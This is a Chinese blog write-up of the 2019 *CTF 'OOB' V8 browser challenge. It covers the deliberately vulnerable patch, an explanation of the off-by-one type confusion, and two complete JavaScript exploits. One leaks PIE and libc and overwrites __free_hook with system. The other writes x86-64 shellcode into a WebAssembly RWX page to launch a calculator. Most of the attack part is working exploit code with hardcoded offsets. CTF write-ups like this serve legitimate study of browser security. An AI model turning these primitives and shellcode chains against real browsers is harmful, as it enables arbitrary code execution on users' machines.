2019 *CTF Pwn OOB

参考

从一道CTF题零基础学V8漏洞利用
浏览器入门之starctf-OOB

搭建

切换到当时的 branch 安装依赖时提示最高支持到 Ubuntu 18,使用docker来搭建环境

git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8

调试

docker中

 gdbserver localhost:123 ./d8 --allow-natives-syntax ./exp.js

主机

gdb -ex 'target remote 127.0.0.1:123' ./d8

diff

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \
   /* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */   \
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \
+  CPP(ArrayOob)                                                                \
                                                                                \
   /* ArrayBuffer */                                                            \
   /* ES #sec-arraybuffer-constructor */                                        \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:

这个 diff 文件包含了以下几个主要的变更:

  1. bootstrapper.cc 文件中, 添加了一个新的内置函数 ArrayOobJSGlobalObject 的原型中。这个函数可以用来读写数组的越界元素。

  2. builtins-array.cc 文件中, 实现了 ArrayOob 函数的逻辑。

    1. BUILTIN(ArrayOob) 这是一个宏定义,用于定义 V8 引擎中的内置函数。这个函数名为 ArrayOob

    2. 函数的第一行获取了函数的参数个数,存储在变量 len 中。

    3. 接下来进行了一个简单的参数检查,如果参数个数大于 2,则直接返回 undefined

    4. 使用 Object::ToObject 将函数调用者转换为 JSReceiver 对象,然后将其强制转换为 JSArray 对象,存储在 array 变量中。

    5. 通过 array->elements() 获取数组的底层存储结构 FixedDoubleArray,存储在 elements 变量中。

    6. 获取数组的长度,存储在 length 变量中。

    7. 接下来根据参数个数 len 来判断是读取还是写入:

      • 如果 len 等于 1,则表示读取操作。通过 elements.get_scalar(length) 获取数组最后一个元素的值,并将其转换为 Number类型后返回。这里存在一个 off-by-one 的错误,因为数组下标是从 0 开始的,而我们使用了 length 作为下标,导致读取了数组越界的元素。
      • 如果 len 等于 2,则表示写入操作。首先将第二个参数转换为 Number类型,存储在 value 变量中。然后使用 elements.set(length, value->Number()) 将该值写入数组最后一个元素。这里同样存在一个 off-by-one 的错误,因为我们使用 length 作为下标,导致写入了数组越界的元素。
  3. builtins-definitions.h 文件中, 添加了 ArrayOob 函数的定义, 指定其为 C++ 实现。

  4. typer.cc 文件中, 为 ArrayOob 函数添加了类型推导逻辑, 返回类型为 Type::Receiver()

利用

在这里插入图片描述
在 a.oob(1) 的情况下,传入了两个参数:

  • 第一个参数是数组 a 本身,这是隐式传入的 this 参数。
  • 第二个参数是数字 1。

a.oob(0)打印数组a[4] 溢出

发现数组对象的elements其实也是个对象,这些元素在内存中的分布正好位于数组对象的上方,即低地址处,也就是说,在内存申请上,v8先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的elements指向了存储元素内容的内存地址

  elements  ----> +------------------------+
                   |          MAP           +<---------+
                   +------------------------+          |
                   |      element 1         |          |
                   +------------------------+          |
                   |      element 2         |          |
                   |      ......            |          |
                   |      element n         |          |
 ArrayObject  ---->-------------------------+          |
                   |      map               |          |
                   +------------------------+          |
                   |      prototype         |          |
                   +------------------------+          |
                   |      elements          |          |
                   |                        +----------+
                   +------------------------+
                   |      length            |
                   +------------------------+
                   |      properties        |
                   +------------------------+

所以其实读溢出可以读出map的地址,然后写可以往修改map的地址,即可以修改对象类型Map(类型混淆)
举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。

计算一个对象的地址addressOf:将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。

将一个内存地址伪造为一个对象fakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。

var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();

在这里插入图片描述

// 泄露某个object的地址
function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(float_array_map);
    let obj_addr = f2i(obj_array[0]) - 1n;
    obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
    return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
    float_array[0] = i2f(addr_to_fake + 1n);
    float_array.oob(obj_array_map);
    let faked_obj = float_array[0];
    float_array.oob(float_array_map); // 还原array类型以便后续继续使用
    return faked_obj;
}

任意地址读写

通过array的element内容来伪造一个数组对象的内存,泄露该array地址后,得到array的element的元素内容地址,利用类型混淆漏洞将其写入floatarray,然后改为objectarray,得到元素内容地址伪造的对象,进而可以通过array中对元素内容中的element修改,然后通过读写伪造对象来任意地址读写

由于array中伪造DoubleArray 来任意读写会有些棘手的问题

  • 在数组进行元素访问时,它会和这个堆的基地址做一个 mask 的操作,保证了这个 elements 指针指向的内存段时属于 v8 的堆的范围。(FloatArray方式向高地址写入会不成功。)
  • 在对伪造的浮点数数组进行操作的时候,触发了收集 Inline Cache 的函数,导致 SIGTRAP 。
  • DoubleArray 构造的任意地址读写只能读写 elements + 0x10 ,并且还会访问 [elements, elements + 0x10) 范围内的数据,而如果是在 rwx 段写 shellcode 需要从起始位置开始写,因此不能用 DoubleArray 构造的任意地址读写完成。

伪造 ArrayBuffer

这里需要使用伪造 ArrayBuffer 来构造任意地址读写。

我一直以为job显示的和实际地址分别的一样,我是废物

这里伪造的arraybuffer要正常被dataview解析的话,需要arraybuffer的map指向的type为JS_ARRAY_BUFFER_TYPE

在这里插入图片描述

var fake_array_object = [
    u2d(0n),                    // Map
    u2d(0n),                    // Propertries
    u2d(0n),                    // Elements
    u2d(0x1000n),               // ByteLength
    u2d(0n),                    // BackingStore
    u2d(0n),                    // Map
    u2d(0x1900042319080808n),   // type
];

在这里插入图片描述

等会还要修改fake_array_object [0] (Map)指向伪造的map字段(下面的map)

发现doublearray的元素个数多少会导致element在对象的相对位置上下不同,这里7个元素会在下面,对应的元素内容开始地址=fake_array_object的地址 +0x48+0x10
在这里插入图片描述

之后元素内容开始地址转换为arraybuffer对象,然后arraybuffer[0]设置为fake_array_object的地址 +0x48+0x10+0x28(即下面的map在arraybuffer上的地址),然后任意读写修改arraybuffer[4]为想读或者想写的地址即可即可


var fake_array_object = [
    u2d(0n),                    // Map
    u2d(0n),                    // Propertries
    u2d(0n),                    // Elements
    u2d(0x1000n),               // ByteLength
    u2d(0n),                    // BackingStore
    u2d(0n),                    // Map
    u2d(0x1900042319080808n),   // type
];

fake_array_object_addr=addr_leak(fake_array_object);
print("fake_array_object_addr "+hex(fake_array_object_addr));

fake_array_object[0]=u2d(fake_array_object_addr+0x48n+0x10n+0x28n); // pay attention u2d 
 
fake_array_object_0_addr=fake_array_object_addr+0x48n+0x10n;
fake_arraybuf_object=replace_fake_obj(fake_array_object_0_addr);

// //check
// fake_arraybuf_object_addr=addr_leak(fake_arraybuf_object)
// print("fake_arraybuf_object_addr "+hex(fake_arraybuf_object_addr))
// print("fake_array_object_0_addr "+hex(fake_array_object_0_addr))
 

var dv = new DataView(fake_arraybuf_object);
function any_addr_read(read_addr)
{
    fake_array_object[4]=u2d(read_addr);
    return dv.getBigUint64(0, true); //little-endian
}
function any_addr_write(write_addr,value)
{
    fake_array_object[4]=u2d(write_addr);
    return dv.setBigUint64(0, value, true); //little-endian
}

伪造 double array改一个 ArrayBuffer 的 BackingStore

伪造 DoubleArray 进行一次任意地址写修改一个 ArrayBuffer 的 BackingStore 指向另一个 ArrayBuffer 的 BackingStore ,之后每次任意地址读写都可以先用一个 ArrayBuffer 改另一个 ArrayBuffer 的 BackingStore 然后利用另一个 ArrayBuffer 进行任意地址读写。(或者直接改一个 ArrayBuffer 的 BackingStore 指向要写的地址,再通过dataview写)

在这里插入图片描述
fake_float_array对象起始地址=float_array_mem对象的地址+0x20+0x10,然后fake_float_array对象和对应的element已经被设置为一个arraybuffer的backstoring字段位置-0x10,然后fake_float_array[0]修改一个arraybuffer的backstoring字段的值为另一个arraybuffer的backstoring字段位置-0x10

  • 任意读的时候先将第一个arraybuffer的backstoring对应的值(也就是第二个arraybuffer的backstoring字段值)设置为要读的地址,然后取第二个arraybuffer的backstoring字段对应的值
  • 任意写的时候先将第一个arraybuffer的backstoring对应的值(也就是第二个arraybuffer的backstoring字段值)设置为要写的地址,然后赋值给第二个arraybuffer的backstoring字段对应的值
var ab1 = new ArrayBuffer(0x8);
var ab2 = new ArrayBuffer(0x1000);
var dv1 = new DataView(ab1);
var dv2 = new DataView(ab2);
var ab1_bs_addr = addr_leak(ab1) + 0x20n;
var ab2_bs_addr = addr_leak(ab2) + 0x20n;

var float_array_mem = [
    float_mmap,
    0,
    u2d(ab1_bs_addr - 0x10n),
    u2d(0x100000000n),

];

fake_float_array = fakeObj(addressOf(float_array_mem) + 0x30n);
fake_float_array[0] = u2d(ab2_bs_addr - 1n);


function arbitrary_address_read(address) {
    dv1.setBigUint64(0, address, true);
    return dv2.getBigUint64(0, true);
}

function arbitrary_address_write(address, value) {
    dv1.setBigUint64(0, address, true);
    return dv2.setBigUint64(0, value, true);
}

利用

传统

通过构造函数例如 Array 可以泄露 ELF 加载基址,进而通过 got 表泄露 libc 加载基址。

查看Array对象结构 --> 查看对象的Map属性 --> 查看Map中指定的constructor结构 --> 查看code属性 -->在code内存地址的固定偏移处存储了v8二进制的指令地址

v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。

需要注意这里用release版本查看,不然debug版本显示的不是pie相关地址
在这里插入图片描述

利用任意地址写修改 __free_hook 为 system 函数地址

建议这时候将%SystemBreak()断点下在any_addr_write内部或者在写free_hook之前,因为v8在运行时,会有很多内存释放、垃圾回收的操作,而这些操作很容易就能触发free函数,因此上面any_addr_write结束后调用的 %SystemBreak前很容易就触发到了free操作而导致gdb崩溃

然后v8在运行时,会有很多内存释放、垃圾回收的操作,而这些操作很容易就能触发free函数,可以申请一个局部buffer变量,写命令进去,然后释放,从而触发free操作或者print命令也可以触发

获取shell的演示需要在d8的非调试模式下直接运行才能看到效果。将脚本中的%DebugPrint和%SystemBreak等本地调试函数去掉,直接运行d8调用最终js文件

exp

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}
// number to string hex and pad 0 to 16


var obj={};
var float_array=[1.1];
var object_array=[obj];
var float_mmap=float_array.oob();
var object_mmap=object_array.oob();
// type confusion
function addr_leak(obj)
{
   float_array.oob(object_mmap);
   float_array[0]=obj;
   float_array.oob(float_mmap);
   var leak_obj_addr=float_array[0];
   return d2u(leak_obj_addr);
}
//leak object addr
function replace_fake_obj(fake_obj_addr)
{
    object_array.oob(float_mmap);
    object_array[0]=u2d(fake_obj_addr|1n);
    object_array.oob(object_mmap);
    var fake_obj=object_array[0];
    return fake_obj;
}
//get the object by object addr

var fake_array_object = [
    u2d(0n),                    // Map
    u2d(0n),                    // Propertries
    u2d(0n),                    // Elements
    u2d(0x1000n),               // ByteLength
    u2d(0n),                    // BackingStore
    u2d(0n),                    // Map
    u2d(0x1900042319080808n),   // type
];

fake_array_object_addr=addr_leak(fake_array_object);
print("fake_array_object_addr "+hex(fake_array_object_addr));

fake_array_object[0]=u2d(fake_array_object_addr+0x48n+0x10n+0x28n); // pay attention u2d 
 
fake_array_object_0_addr=fake_array_object_addr+0x48n+0x10n;
fake_arraybuf_object=replace_fake_obj(fake_array_object_0_addr);

// //check
// fake_arraybuf_object_addr=addr_leak(fake_arraybuf_object)
// print("fake_arraybuf_object_addr "+hex(fake_arraybuf_object_addr))
// print("fake_array_object_0_addr "+hex(fake_array_object_0_addr))
 

var dv = new DataView(fake_arraybuf_object);
function any_addr_read(read_addr)
{
    fake_array_object[4]=u2d(read_addr);
    return dv.getBigUint64(0, true); //little-endian
}
function any_addr_write(write_addr,value)
{
    fake_array_object[4]=u2d(write_addr);
    return dv.setBigUint64(0, value, true); //little-endian
}
function get_shell()
{
    let get_shell_buffer = new ArrayBuffer(0x1000);
    let get_shell_dataview = new DataView(get_shell_buffer);
    get_shell_dataview.setFloat64(0, u2d(0x0068732f6e69622fn)); // str --> /bin/sh\x00 
}


//leak pie
var a = [1.1, 2.2, 3.3];
code_addr=addr_leak(a.constructor)+0x30n;
print("code_addr "+hex(code_addr));
code_obj_addr=any_addr_read(code_addr-1n)-1n;
print("code_obj_addr "+hex(code_obj_addr));
pie_addr=any_addr_read(code_obj_addr+0x42n)-0xf91780n;
print("pie_addr "+hex(pie_addr));

//leak libc
libc_addr=any_addr_read(0x1273ef8n+pie_addr)-0x45130n;
print("libc_addr "+hex(libc_addr));

free_hook=libc_addr+0x3ed8e8n
system=libc_addr+0x4f420n
any_addr_write(free_hook,system)

//get_shell();

print("/snap/bin/gnome-calculator");

在这里插入图片描述

wasm

WebAssembly 实践:如何写代码
官方关于WASM

wasm就是可以让JavaScript直接执行高级语言生成的机器码的一种技术。

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;var d = f();
console.log("[*] return from wasm: " + d);
%SystemBreak();

wasm从安全性考虑也不允许通过浏览器直接调用系统函数。wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。

们可以结合漏洞将原本内存中的的wasm代码替换为shellcode,当后续调用wasm的接口时,实际上调用的就是我们的shellcode了。

  • 首先加载一段wasm代码到内存中(利用 WebAssembly 开辟 rwx 段。)
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var d = f();
console.log("[*] return from wasm: " + d);
  • 然后通过addresssOf原语找到存放wasm的内存地址

    Function–>shared_info–>WasmExportedFunctionData–>instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址(即var wasmInstance = new WebAssembly.Instance(wasmModule, {});的wasmInstance )在这里插入图片描述

var wasm_addr=any_addr_read(addr_leak(wasmInstance)-1n+0x88n);
  • 接着通过任意地址写原语用shellcode替换原本wasm的代码内容
var shellcode = [
    0x9090909090909090n,    //nop 
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
];

//var shellcode = [
//     0x636c6163782fb848n,
//     0x73752fb848500000n,
//     0x8948506e69622f72n,
//     0x89485750c03148e7n,
//     0x3ac0c748d23148e6n,
//     0x4944b84850000030n,
//     0x48503d59414c5053n,
//     0x485250c03148e289n,
//     0x00003bc0c748e289n,
//     0x0000000000050f00n
// ]


for (let i = 0; i < shellcode.length; i++) {
    any_addr_write(wasm_addr + BigInt(i) * 8n, shellcode[i]);
}
  • 最后调用wasm的函数接口即可触发调用shellcode
var d = f();

exp

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}
// number to string hex and pad 0 to 16


var obj={};
var float_array=[1.1];
var object_array=[obj];
var float_mmap=float_array.oob();
var object_mmap=object_array.oob();
// type confusion
function addr_leak(obj)
{
   float_array.oob(object_mmap);
   float_array[0]=obj;
   float_array.oob(float_mmap);
   var leak_obj_addr=float_array[0];
   return d2u(leak_obj_addr);
}
//leak object addr
function replace_fake_obj(fake_obj_addr)
{
    object_array.oob(float_mmap);
    object_array[0]=u2d(fake_obj_addr|1n);
    object_array.oob(object_mmap);
    var fake_obj=object_array[0];
    return fake_obj;
}
//get the object by object addr

var fake_array_object = [
    u2d(0n),                    // Map
    u2d(0n),                    // Propertries
    u2d(0n),                    // Elements
    u2d(0x1000n),               // ByteLength
    u2d(0n),                    // BackingStore
    u2d(0n),                    // Map
    u2d(0x1900042319080808n),   // type
];

fake_array_object_addr=addr_leak(fake_array_object);
print("fake_array_object_addr "+hex(fake_array_object_addr));

fake_array_object[0]=u2d(fake_array_object_addr+0x48n+0x10n+0x28n); // pay attention u2d 
 
fake_array_object_0_addr=fake_array_object_addr+0x48n+0x10n;
fake_arraybuf_object=replace_fake_obj(fake_array_object_0_addr);

// //check
// fake_arraybuf_object_addr=addr_leak(fake_arraybuf_object)
// print("fake_arraybuf_object_addr "+hex(fake_arraybuf_object_addr))
// print("fake_array_object_0_addr "+hex(fake_array_object_0_addr))
 

var dv = new DataView(fake_arraybuf_object);
function any_addr_read(read_addr)
{
    fake_array_object[4]=u2d(read_addr);
    return dv.getBigUint64(0, true); //little-endian
}
function any_addr_write(write_addr,value)
{
    fake_array_object[4]=u2d(write_addr);
    return dv.setBigUint64(0, value, true); //little-endian
}


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var d = f();
console.log("[*] return from wasm: " + d);

var wasm_addr=any_addr_read(addr_leak(wasmInstance)-1n+0x88n);
var shellcode = [
    0x9090909090909090n,    //nop 
    0x636c6163782fb848n,
    0x73752fb848500000n,
    0x8948506e69622f72n,
    0x89485750c03148e7n,
    0x3ac0c748d23148e6n,
    0x4944b84850000030n,
    0x48503d59414c5053n,
    0x485250c03148e289n,
    0x00003bc0c748e289n,
    0x0000000000050f00n
];

//var shellcode = [
//     0x636c6163782fb848n,
//     0x73752fb848500000n,
//     0x8948506e69622f72n,
//     0x89485750c03148e7n,
//     0x3ac0c748d23148e6n,
//     0x4944b84850000030n,
//     0x48503d59414c5053n,
//     0x485250c03148e289n,
//     0x00003bc0c748e289n,
//     0x0000000000050f00n
// ]


for (let i = 0; i < shellcode.length; i++) {
    any_addr_write(wasm_addr + BigInt(i) * 8n, shellcode[i]);
}

var d = f();
console.log("[*] return from wasm: " + d);

在这里插入图片描述

  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值